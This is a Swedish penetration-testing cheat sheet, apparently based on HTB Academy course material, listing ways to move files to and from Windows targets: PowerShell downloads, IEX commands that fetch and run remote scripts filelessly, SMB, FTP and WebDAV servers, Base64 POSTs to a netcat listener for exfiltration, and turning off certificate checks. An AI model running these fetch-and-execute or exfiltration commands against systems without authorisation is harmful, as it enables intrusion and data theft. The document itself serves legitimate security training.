Windows
Olika sätt att överföra filer till och från Windows-system. I huvudsak hämtat från HTB Academy.
Överföring genom Base64-kodning
Det finns begränsningar för hur stora filer man kan göra detta med. CMD.exe har t.ex. en begränsning på 8 191 tecken. De övre kommandona i varje steg visar överföring från egen Linux-klient till fjärrklient (Windows) och nedre kommandona visar exfiltrering av fil till egen Linux-klient.
Steg 1 - Ta fram checksumma för filen
# Bash
md5sum <filnamn>
# PowerShell
Get-FileHash "C:\<sökväg till fil>\<filnamn>" -Algorithm MD5 | select Hash
Steg 2 - Base64-koda filen
# Bash
cat <filnamn> | base64 -w 0;echo
# PowerShell
[Convert]::ToBase64String((Get-Content -path "C:\<sökväg till fil>\<filnamn>" -Encoding byte))
Steg 3 - Konvertera tillbaka filen
# PowerShell
[IO.File]::WriteAllBytes("C:\<sökväg>\<filnamn>", [Convert]::FromBase64String("<base64-sträng>"))
# Bash
echo <Base64-checksumma> | base64 -d > <filnamn>
Steg 4 - Kontrollera att checksumman stämmer från steg 1
# PowerShell
Get-FileHash C:\<sökväg>\<filnamn> -Algorithm md5
# Bash
md5sum <filnamn>
Powershell DownloadFile
Från en Powershell-prompt
Exempel 1:
(New-Object Net.WebClient).DownloadFile('<URL till fil>','<önskat filnamn>')
Exempel 2:
(New-Object Net.WebClient).DownloadFileAsync('<URL till fil>','<önskat filnamn>')
PowerShell DownloadString - Fileless
Använder modulen Invoke-Expression. Invoke-Expression används för att tolka och exekvera en sträng som ett kommando. Den tar ett argument i formen av en sträng innehållandes PowerShell-kod och exekverar den som att den knappades in direkt i kommandotolken.
Exempel 1:
IEX (New-Object Net.WebClient).DownloadString('https://<URL till fil>/<filnamn>')
Exempel 2:
Laddar ner en fil och pipe:ar det till Invoke-Expression.
(New-Object Net.WebClient).DownloadString('https://URL till fil>/<filnamn>') | IEX
PowerShell Invoke-WebRequest
Fr.o.m PS 3.0 finns det även modulen Invoke-WebRequest. Tar dock längre tid att ladda ner filer än ovanstående. Det går även att använda följande alias istället för Invoke-WebRequest:
iwr
curl
wget
Exempel 1:
Invoke-WebRequest https://<URL till fil>/<filnamn> -OutFile <önskat filnamn>
Felhantering
Om man stöter på problem med SSL/TLS secure channel (för att certifikatet inte är betrott) kan man ange följande kommando:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Om uppstartskonfigurationen inte är gjord för Internet Explorer så kan man behöva lägga till följande växel efter kommandot:
-UseBasicParsing
Resurser
harmj0y har gjort en utförlig lista över fler kommandon:
SMB (oautentiserat)
Steg 1 - Starta en SMB-server
Starta en SMB-server på egen klient med Impackets "smbserver.py".
sudo impacket-smbserver share -smb2support /tmp/smbshare
Steg 2 - Kopiera över önskad fil
Använd kommandot "copy" för att föra över önskad fil till fjärrklient.
copy \\<egen IP-adress>\share\<fil>
SMB (autentiserat)
Steg 1 - Starta SMB-server med inloggningsuppgifter
Om Windows-klienten inte tillåter oautentiserade överföringar så kan man istället starta SMB-servern med specificerade användare-uppgifter.
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Steg 2 - Mount:a share på Windows-klienten
net use <disk-bokstav>: \\<egen IP-adress>\share /user:test test
Steg 3 - Kopiera över önskad fil
copy <disk-bokstav>:\nc.exe
FTP
Steg 1 - Installera pyftpdlib
sudo pip3 install pyftpdlib
Steg 2 - Starta FTP-server
sudo python3 -m pyftpdlib --port 21
Steg 3 - Överföra filer
PowerShell:
(New-Object Net.WebClient).DownloadFile('ftp://<egen IP-adress>/<önskad fil>', '<önskad fil>')
FTP-klient (inbyggd i Windows)
Först skapar vi en "kommando"-fil med kommandon vi vill exekvera. Sedan kör vi kommandona och hämtar specificerad fil.
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
-v = visa ej fjärr-serverns svar.
-n = ingen autologin vid anslutning.
-s: <textfil med kommandon> = specificerar en textfil som innehåller FTP-kommandon och som kommer köras efter att FTP startats.
PowerShell Web Uploads
PowerShell har ingen inbyggd funktion för att ladda upp filer. Man kan dock använda "Invoke-WebRequest" eller "Invoke-RestMethod" för att bygga en uppladdningsfunktion. Det behövs även en webbserver som kan ta emot uppladdningar, detta är dock inte standard i de flesta webbserver-verktyg.
Pythons HTTP.server-modul har en utökad modul som heter "uploadserver" och inkluderar en filuppladdnings-sida. Den sätter upp en webbserver på port 8000.
Steg 1 - Upprätta en webbserver med uppladdningsfunktionalitet
python3 -m uploadserver
# Denna modul går att installera med kommandot:
pip3 install uploadserver
Steg 2 - PowerShell-skript för att ladda upp fil
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://<egen IP-adress>:8000/upload -File C:\<sökväg till fil>\<filnamn>
PowerShell Base64 Web Upload
Man kan även använda "Invoke-WebRequest" och "Invoke-RestMethod" tillsammans med Netcat för att ladda upp filer. Man sätter då upp en Netcat-lyssnare och skickar filen (Base64-strängen) som en POST-request. Slutligen så kopierar man informationen i request:en och använder Base64-avkodning för att konvertera strängen till en fil.
Steg 1 - Sätt upp en Netcat-lyssnare
nc -lvnp <port>
Steg 2 - Konvertera filen som ska skickas till Base64-sträng
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\<sökväg>\<filnamn>' -Encoding Byte))
Steg 3 - Skicka filen som en POST-request
Invoke-WebRequest -Uri http://<egen IP-adress>:<netcat-port>/ -Method POST -Body $b64
Steg 4 - Konvertera tillbaka filen från Base64
echo <base64-sträng> | base64 -d -w 0 > <filnamn>
SMB Uploads
Vanligtvis tillåter man inte SMB-trafik ut från det interna nätverket. För att komma runt detta kan man nyttja SMB över HTTP m.h.a WebDav. WebDav är en förlängning av HTTP-protokollet och tillåter en webbserver att agera som en filserver. Det stödjer även HTTPS.
Steg 1 - Installera Pythons WebDav-modul
sudo pip install wsgidav cheroot
Steg 2 - Starta WebDav-modulen
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Steg 3 - Anslut till WebDav-share:en
dir \\<egen IP-adress>\DavWWWRoot
# Om man inte specificerar en mapp som existerar i steg 2 så kan man ange DavWWWRoot.
# Då tolkar Windows-shell att man vill ansluta till roten av WebDav-servern.
Steg 4 - Ladda upp filer med SMB
copy C:\<sökväg till fil\<filnamn> \\<egen IP-adress>\DavWWWRoot\
# Om man specificerat en existerande mapp i steg 2 så kan man ange den istället, ex:
copy C:\<sökväg till fil\<filnamn> \\<egen IP-adress>\sharefolder\
FTP Uploads
Steg 1 - Starta FTP-servern med skriv-rättigheter
sudo python3 -m pyftpdlib --port 21 --write
Steg 2 - Ladda upp filer
PowerShell
(New-Object Net.WebClient).UploadFile('ftp://<egen IP-adress>/<filnamn>', 'C:\<sökväg till fil>\<filnamn>')
FTP-klient (inbyggd i Windows)
# Skapa en kommandofil för automatisering av anslutning och uppladdning
echo open <egen IP-adress> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\<sökväg till fil\<filnamn> >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
ftp> open <egen IP-adress>
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\<sökväg till fil>\<filnamn>
ftp> bye
Filkryptering i Windows
Exempel 1:
PowerShell - Kryptering m.h.a "Invoke-AESEncryption.ps1".
Steg 1 - Hämta PowerShell-skriptet
Steg 2 - Överför skriptet med någon av ovanstående metoder
Steg 3 - Importera modulen med PowerShell
Import-Module .\Invoke-AESEncryption.ps1
Steg 4 - Kryptera önskad fil
Invoke-AESEncryption -Mode Encrypt -Key "<önskat lösenord>" -Path <filsökväg>\<filnamn>
Last updated